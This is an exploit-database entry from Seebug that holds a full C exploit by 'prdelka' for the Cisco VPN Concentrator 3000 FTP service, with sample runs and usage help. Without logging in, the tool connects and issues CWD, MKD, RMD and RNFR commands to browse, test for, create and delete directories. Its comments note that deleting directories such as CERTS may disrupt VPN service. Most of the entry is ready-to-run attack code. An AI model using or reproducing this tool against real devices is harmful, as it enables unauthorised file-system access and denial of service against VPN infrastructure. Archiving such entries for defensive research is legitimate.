Lucene search

K
seebugRootSSV:5438
HistoryOct 30, 2006 - 12:00 a.m.

Cisco VPN Concentrator 3000 FTP Server Remote Manipulation (Exploit)

2006-10-3000:00:00
Root
www.seebug.org
9

No description provided by source.


                                                /* Cisco VPN Concentrator 3000 FTP remote exploit
 * ==============================================
 * A vulnerability exists in the Cisco VPN Concentrator 3000,
 * an unauthenticated user may access the file system through
 * manipulation of FTP service commands. An unauthenticated
 * user can use the following commands;
 *
 * CWD - Change the current working directory
 * MKD - Make a directory within the current working directory
 * CDUP - Change directory up one tree.
 * RNFR - Rename From (This can be used to identify files and directories)
 * SIZE - This can be used to identify files and directories
 * RMD - This can be used to delete a directory
 *
 * The FTP service remembers the current working directory so directory
 * changes can affect exploitation. By removing potentially sensitive
 * directories such as "CERTS" it may be possible to disrupt service
 * to a VPN.
 *
 * Confirmed Vulnerable
 * + Cisco Systems Inc./VPN 3000 concentrator Version 4.1.5 RelJun 18 2004
 *
 * Example.
 * localhost exploits # ./prdelka-vs-CISCO-vpnftp -s 10.1.2.10 -c /
 * [ Cisco VPN Concentrator 3000 FTP service exploit
 * [ Connected to 10.1.2.10 (21/tcp)
 * [ Changing directory to /
 * [ Success! changed directory to /
 * localhost exploits # ./prdelka-vs-CISCO-vpnftp -s 10.1.2.10 -t config
 * [ Cisco VPN Concentrator 3000 FTP service exploit
 * [ Connected to 10.1.2.10 (21/tcp)
 * [ Testing for the existance of config
 * [ Success! file config does exist!
 *
 *
 * - prdelka
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <getopt.h>
#include <signal.h>

int main (int argc, char *argv[]){
 int ihost=0,index=0,imkdir=0,ichdir=0,idelete=0,itest=0,ipass=0,port=21;
 int c, sd, rc, size;
 char *host, *directory, *file, *buffer, *rbuffer;
 struct sockaddr_in servAddr;
 struct hostent *h;
        static struct option options[]={
                {"server", 1, 0, 's'},
                {"port", 1, 0, 'p'},
                {"rmdir", 1, 0, 'r'},
                {"mkdir", 1, 0, 'm'},
                {"chdir", 1, 0, 'c'},
  {"test", 1, 0, 't'},
                {"help", 0, 0,'h'}
        };
 printf("[ Cisco VPN Concentrator 3000 FTP service exploit\n");
        while(c != -1){
                c = getopt_long(argc,argv,"s:p:r:m:c:t:h",options,&index);
                switch(c){
                        case 's':
                                if(ihost==0){
                                 h = gethostbyname(optarg);
                                 if(h==NULL){
                                         printf("[ Error unknown host '%s'\n",optarg);
                                         exit(1);
                                 }
                                 host = malloc(strlen(optarg) + 1);
                                 sprintf(host,"%s",optarg);
                                 ihost = 1;
                                }
    break;
   case 'p':
    port = atoi(optarg);
    break;
   case 'r':
    if(idelete==0){
     if(ipass!=1){
      ipass = 1;
      idelete = 1;
      directory = optarg;
     }
     else{
      printf("[ Error: cannot delete directory as another option already selected\n");
      exit(1);
     }
    }
    break;
   case 'c':
    if(ichdir==0){
     if(ipass!=1){
      ipass = 1;
      ichdir = 1;
      directory = optarg;
     }
     else{
      printf("[ Error: cannot change dir as another option already selected\n");
      exit(2);
     }
    }
    break;
   case 't':
    if(itest==0){
     if(ipass!=1){
      ipass = 1;
      itest = 1;
      file = optarg;
     }
     else{
      printf("[ Error: cannot test for existance as another option already selected\n");
      exit(3);
     }
    }
    break;
   case 'm':
    if(imkdir==0){
     if(ipass!=1){
      ipass = 1;
      imkdir = 1;
      directory = optarg;
     }
     else{
      printf("[ Error: cannot make directory as another option already selected\n");
      exit(4);
     }
     
    }
    break;
   case 'h':
    printf("[ Usage instructions.\n[\n");
    printf("[ %s <required> (optional)\n[\n",argv[0]);
    printf("[\t--server|-s <ip/hostname>\n[\t--port|-p (port) [default 21]\n[\t--rmdir|-r (directory)\n[\t--mkdir|-m (directory)\n");
    printf("[\t--chdir|-c (directory)\n[\t--test|-t (filename/directory)\n[\n");
    exit(0);
    break;
   default:
    break;
  }
 }
        if(ihost != 1 || ipass != 1){
         printf("[ Error insufficient arguements, try running '%s --help'\n",argv[0]);
         exit(1);
        }
        servAddr.sin_family = h->h_addrtype;
        memcpy((char *) &servAddr.sin_addr.s_addr, h->h_addr_list[0], h->h_length);
        servAddr.sin_port = htons(port);
        sd = socket(AF_INET, SOCK_STREAM, 0);
        if(sd<0){
                printf("[ Cannot open socket\n");
                exit(1);
        }
        rc = connect(sd, (struct sockaddr *) &servAddr, sizeof(servAddr));
        if(rc<0){
                printf("[ Cannot connect\n");
                exit(1);
        }
        printf("[ Connected to %s (%d/tcp)\n",host,port);
 rbuffer = malloc(1024);
 if(ichdir==1){
  printf("[ Changing directory to %s\n",directory);
  size = 2048 + strlen(directory);
  buffer = malloc(size);
  sprintf(buffer,"CWD %s\r\n",directory);
  rc = send(sd, buffer, strlen(buffer),0);
                while((rc = recv(sd, rbuffer,1023,0)) != -1){
                        rbuffer[rc]=0;
                        if(strstr(rbuffer,"250 Changed to .") != NULL){
                                printf("[ Success! changed directory to %s\n",directory);
                                break;
                        }
                        if(strstr(rbuffer,"530 Can't change directory to") != NULL){
                                printf("[ Error! cannot set current directory to %s\n",directory);
                                exit(-1);
                        }
                }
 }
 if(imkdir==1){
  printf("[ Making directory %s\n",directory);
  size = 2048 + strlen(directory);
  buffer = malloc(size);
  sprintf(buffer,"MKD %s\r\n",directory);
  rc = send(sd, buffer, strlen(buffer),0);
  while((rc = recv(sd, rbuffer,1023,0)) != -1){
   rbuffer[rc]=0;
   if(strstr(rbuffer,"257 MKD command successful.") != NULL){
    printf("[ Success! directory %s created\n",directory);
    break;
   }
  }
 }
 if(idelete==1){
  printf("[ Deleting directory %s\n",directory);
  size = 2048 + strlen(directory);
  buffer = malloc(size);
  sprintf(buffer,"RMD %s\r\n",directory);
  rc = send(sd, buffer, strlen(buffer),0);
                while((rc = recv(sd, rbuffer,1023,0)) != -1){
                        rbuffer[rc]=0;
                        if(strstr(rbuffer,"250 RMD command successful.") != NULL){
                                printf("[ Success! directory %s deleted\n",directory);
                                break;
                        }
                }
 }
 if(itest==1){
  printf("[ Testing for the existance of %s\n",file);
  size = 2048 + strlen(file);
  buffer = malloc(size);
  sprintf(buffer,"RNFR %s\r\n",file);
  rc = send(sd, buffer,strlen(buffer),0);
                while((rc = recv(sd, rbuffer,1023,0)) != -1){
                 rbuffer[rc]=0;
                        if(strstr(rbuffer,"350 RNFR accepted - file exists, ready for destination.") != NULL){
                                printf("[ Success! %s does exist!\n",file);
                                break;
                        }
                        if(strstr(rbuffer,"550 File does not exist!") != NULL){
                                printf("[ Success! %s does not exist\n",file);
                                break;
                        }
                }
 }
 exit(0);
}